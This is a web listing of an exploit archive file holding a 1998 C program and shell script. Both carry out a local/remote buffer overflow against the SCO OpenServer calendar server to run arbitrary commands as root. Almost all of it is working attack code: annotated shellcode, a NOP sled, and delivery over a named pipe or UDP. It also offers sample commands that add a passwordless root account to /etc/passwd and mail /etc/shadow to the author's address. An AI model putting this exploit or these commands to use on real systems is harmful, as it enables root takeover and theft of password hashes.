home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / sco / local / sco-cal-x.c < prev    next >
C/C++ Source or Header  |  2005-02-12  |  12KB  |  306 lines

  1. */
  2. #include   <stdio.h>
  3. #include   <fcntl.h>
  4. #include   <netdb.h>
  5. #include   <sys/types.h>
  6. #include   <sys/socket.h>
  7. #include   <netinet/in.h>
  8.  
  9. main(argc, argv)
  10.     int    argc;
  11.     char   *argv[];
  12. {
  13. #define    calserver_pipe "/usr/lib/scosh/pipes/pdg18e5_0000"
  14. #define    start_addr 0x7ffffd80
  15. #define    hostnamelen 100
  16. #define    portnumberlen 10
  17. #define    cmdlen 80
  18.     char   hostname[hostnamelen],portnumber[portnumberlen],cmd[cmdlen];
  19.     char   *hn,*pn;
  20.     int    s;
  21.     struct sockaddr_in sin;
  22.     struct hostent *hp, *gethostbyname();
  23.     char   msg[850];
  24.     char   *msghdr=
  25.            "\x00\x00\x00\x00"                  // message length
  26.            "\x00\x00\x00\x00"
  27.            "\x00\x00\x00\x00"
  28.            "\x00\x00\x00\x00"
  29.            "\x00\x00\x00\x00"
  30.            "\xff\xff\xff\xff"
  31.            "\x00\x00\x00\x00"
  32.            "\x00\x00\x00\x00"
  33.            "\x00\x00\x00\x00"
  34.            "\x00\x00\x00\x00"
  35.            "\x00\x00\x00\x00"                  // packet_sz
  36.            "\x1c\x00\x00\x00"                  // opcode
  37.            "\x00\x00\x00\x00";                 // maxmsgsz
  38.     char   codes[]=
  39.            {
  40.            "\xeb\x7f"                   //start : jmp     cont
  41.            "\x5d"                       //geteip: popl    %ebp
  42.            "\x55"                              // pushl   %ebp
  43.            "\xfe\x4d\x98"                      // decb    0xffffff98(%ebp)
  44.            "\xfe\x4d\x9b"                      // decb    0xffffff9b(%ebp)
  45.            "\xfe\x4d\xe7"                      // decb    0xffffffe7(%ebp)
  46.            "\xfe\x4d\xeb"                      // decb    0xffffffeb(%ebp)
  47.            "\xfe\x4d\xec"                      // decb    0xffffffec(%ebp)
  48.            "\xfe\x4d\xed"                      // decb    0xffffffed(%ebp)
  49.            "\xff\x45\xef"                      // incl    0xffffffef(%ebp)
  50.            "\xfe\x4d\xf4"                      // decb    0xfffffff4(%ebp)
  51.            "\xc3"                              // ret
  52.            "/bin/sh"                           //
  53.            "\x01"                              // 0xffffff98(%ebp)
  54.            "-c"
  55.            "\x01"                              // 0xffffff9b(%ebp)
  56.            "                                      "
  57.            "                                     "
  58.            "\x01"                              // 0xffffffe7(%ebp)
  59.            "\x8d\x05\x3b\x01\x01\x01"   //execv : leal    0x3b,%eax
  60.            "\x9a\xff\xff\xff\xff\x07\x01"      // lcall   0x7,0x0
  61.            "\xc7\xc4\xff\xff\xff\xff"   //cont  : movl    $0xXXXX,%esp
  62.            "\xe8\x76\xff\xff\xff"              // call    geteip
  63.            "\x33\xc0"                          // xorl    %eax,%eax
  64.            "\x50"                              // pushl   %eax
  65.            "\x81\xc5\x9c\xff\xff\xff"          // addl    $0xffffff9c,%ebp
  66.            "\x55"                              // pushl   %ebp
  67.            "\x81\xc5\xfd\xff\xff\xff"          // addl    $0xfffffffd,%ebp
  68.            "\x55"                              // pushl   %ebp
  69.            "\x81\xc5\xf8\xff\xff\xff"          // addl    $0xfffffff8,%ebp
  70.            "\x55"                              // pushl   %ebp
  71.            "\x55"                              // pushl   %ebp
  72.            "\x5b"                              // pop     %ebx
  73.            "\x8b\xec"                          // movl    %esp,%ebp
  74.            "\x50"                              // pushl   %eax
  75.            "\x55"                              // pushl   %ebp
  76.            "\x53"                              // pushl   %ebx
  77.            "\x50"                              // pushl   %eax
  78.            "\xeb\xc6"                          // jmp     execv
  79.            };
  80.  
  81.     if (argc<2)
  82.        {
  83.         printf("Host [local] : ");
  84.         gets(hostname);
  85.         if (!strlen(hostname)) strcpy(hostname,"local");
  86.         hn=hostname;
  87.        }
  88.     else
  89.         hn=argv[1];
  90.  
  91.     if ((argc<3)&&strcmp("local",hn))
  92.        {
  93.         printf("Port [6373]  : ");
  94.         gets(portnumber);
  95.         if (!strlen(portnumber)) strcpy(portnumber,"6373");
  96.         pn=portnumber;
  97.        }
  98.     else
  99.         pn=argv[2];
  100.  
  101.     printf("Type a command  (max length=75),  for example   :\n");
  102.     printf("\"echo r00t::0:0:Leshka Zakharoff:/:>>/etc/passwd\"\n");
  103.     printf("\"mail leshka@leshka.chuvashia.su</etc/shadow\"\n");
  104.     printf(" <-----------------------------------75");
  105.     printf("------------------------------------>\n>");
  106.     gets(cmd);
  107.     memcpy(codes+40,cmd,strlen(cmd));
  108.  
  109.     memset(msg,'\x90',600);
  110.     memcpy(msg,msghdr,52);
  111.     *(unsigned long*) (msg+201)= *(unsigned long*) (codes+131) = start_addr;
  112.     memcpy(msg+600,codes,strlen(codes));
  113.  
  114.     if (!strcmp("local",hn))
  115.        {
  116.         * (unsigned long*) msg = (unsigned long) (600+strlen(codes)-4);
  117.         if ((s=open(calserver_pipe,O_WRONLY)) == -1)
  118.            {
  119.             printf("Error opening calserver pipe\n");
  120.             exit(1);
  121.            };
  122.         if (write(s,msg,600+strlen(codes)) == -1)
  123.            {
  124.             printf("Error writing to the calserver pipe\n");
  125.             exit(1);
  126.            };
  127.         exit(0);
  128.        };
  129.  
  130.     hp = gethostbyname(hn);
  131.     if (hp == 0)
  132.        {
  133.         herror("gethostbyname");
  134.         exit(1);
  135.        }
  136.     memcpy(&sin.sin_addr,hp->h_addr,hp->h_length);
  137.     sin.sin_family = hp->h_addrtype;
  138.     sin.sin_port = htons(atoi(pn));
  139.     if ((s = socket(AF_INET, SOCK_DGRAM, 0)) == -1)
  140.        {
  141.         perror("socket");
  142.         exit(1);
  143.        }
  144.     if (connect(s, (struct sockaddr *) &sin, sizeof(sin)) == -1)
  145.        {
  146.         perror("connect");
  147.         exit(1);
  148.        }
  149.     if (write(s, msg+12,600-12+strlen(codes)) == -1)
  150.        {
  151.         perror("write");
  152.         exit(1);
  153.        }
  154.     close(s);
  155. }
  156.  
  157.                          *** Shell version ***
  158.  
  159. #!/bin/sh
  160. #
  161. #                                   ... The punishment for inobedience ...
  162. #
  163. #        This is a local/remote buffer overflow exploit for calserver bug
  164. #                 (SCO OpenServer Enterprise System v 5.0.4p).
  165. #             If you have any problems with it, drop me a letter.
  166. #                              Happy New Year !
  167. #
  168. #
  169. #   *** Brief manual ***
  170. #
  171. #       Local mode is a default  mode for the calendar  server.  If calserver
  172. #   runs on your site  in this mode  just try  to run  the exploit  with only
  173. #   argument  "local".  If calserver operates  on your or other sites  in the
  174. #   network mode you should use exploit with two arguments:  "<sitename>" and
  175. #   "<portnumber>".  Portnumber is usually equal to 6373 but other values are
  176. #   possible.  Don't use  "localhost" or "127.0.0.1"  as a  <sitename>. Check
  177. #   "/usr/lib/scosh/calargs"  file to see  the current mode  of the  calendar
  178. #   server.
  179. #       Execution  of  the exploit is similar  to a  blind  execution  of the
  180. #   following command with root permissions: "/bin/sh -c <command>".
  181. #       There are a  few  limitations for number and length of  commands. The
  182. #   length  of  a  command  should  not  exceed  75  symbols.  The number  of
  183. #   executable commands depends on calserver configuration and it is equal to
  184. #   the number  of child calendar servers  which  are basically 4 by default.
  185. #   Therefore  running of this exploit  must be very effective.  You are free
  186. #   to use sequences of a shell commands separated by ";" as a <command>.
  187. #
  188. #                                   9.999,99
  189. #
  190. #                            ----------------------
  191. #                ---------------------------------------------
  192. #     -----------------   Dedicated to my beautiful lady   ------------------
  193. #                ---------------------------------------------
  194. #                            ----------------------
  195. #
  196. #           Leshka Zakharoff, 1998. E-mail: leshka@leshka.chuvashia.su
  197. #
  198. #
  199. #
  200. calserver_pipe="/usr/lib/scosh/pipes/pdg18e5_0000"
  201. msg="/tmp/msg"
  202. msghdr1='\02\03\0\0\0\0\0\0\0\0\0\0'
  203. msghdr2='\0\0\0\0\0\0\0\0\0377\0377\0377\0377\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0'\
  204. '\0\0\0\0\034\0\0\0\0\0\0\0'
  205. codes1='\0220\0220\0220\0220\0220\0220\0220\0220'\
  206. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  207. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  208. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  209. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  210. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  211. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  212. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  213. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  214. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  215. '\0220\0220\0220\0220\0220\0220\0200\0375\0377\0177\0220\0220\0220\0220\0220'\
  216. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  217. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  218. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  219. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  220. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  221. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  222. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  223. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  224. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  225. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  226. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  227. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  228. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  229. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  230. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  231. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  232. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  233. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  234. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  235. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  236. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  237. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  238. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  239. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  240. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  241. '\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220\0220'\
  242. '\0353\0177]U\0376M\0230\0376M\0233\0376M\0347\0376M\0353\0376M\0354\0376M'\
  243. '\0355\0377E\0357\0376M\0364\0303/bin/sh\01-c\01'
  244. codes2='\01\0215\05;\01\01\01\0232\0377\0377\0377\0377\07\01\0307\0304\0200'\
  245. '\0375\0377\0177\0350v\0377\0377\03773\0300P\0201\0305\0234\0377\0377\0377U'\
  246. '\0201\0305\0375\0377\0377\0377U\0201\0305\0370\0377\0377\0377UU[\0213\0354'\
  247. 'PUSP\0353\0306'
  248. rm -f $msg
  249. if [ _$1 = "_" ]
  250. then
  251.     {
  252.      echo -n "Host [local] :"
  253.      read hostname
  254.      if [ _$hostname = "_" ]
  255.      then
  256.          hostname="local"
  257.      fi
  258.     }
  259. else
  260.     hostname=$1
  261. fi
  262. if [ _$hostname = "_local" ]
  263. then
  264.     if [ -p $calserver_pipe ]
  265.     then
  266.         echo -n $msghdr1>$msg
  267.     else
  268.         echo "Error opening calserver pipe"
  269.         exit 1
  270.     fi
  271. else
  272.      if [ _$2 = "_" ]
  273.      then
  274.          {
  275.           echo -n "Port [6373]  :"
  276.           read portnumber
  277.           if [ _$portnumber = "_" ]
  278.           then
  279.               portnumber="6373"
  280.           fi
  281.          }
  282.       else
  283.           portnumber=$2
  284.       fi
  285. fi
  286. echo "Type a command  (max length=75),  for example   :"
  287. echo '"echo r00t::0:0:Leshka Zakharoff:/:>>/etc/passwd"'
  288. echo '"mail leshka@leshka.chuvashia.su</etc/shadow"'
  289. echo -n " <-----------------------------------75"
  290. echo -n "------------------------------------>\n>"
  291. read c
  292. echo -n $msghdr2$codes1>>$msg
  293. printf "%75s" "$c">>$msg
  294. echo -n $codes2>>$msg
  295. if [ _$hostname = "_local" ]
  296. then
  297.       cat $msg>>$calserver_pipe
  298. else
  299.      {
  300.       echo -n '\0377\0377\0377\0377'>>$msg
  301.       cat $msg|/etc/ttcp -u -t -l762 -p$portnumber $hostname
  302.      }
  303. fi
  304. rm $msg
  305.  
  306.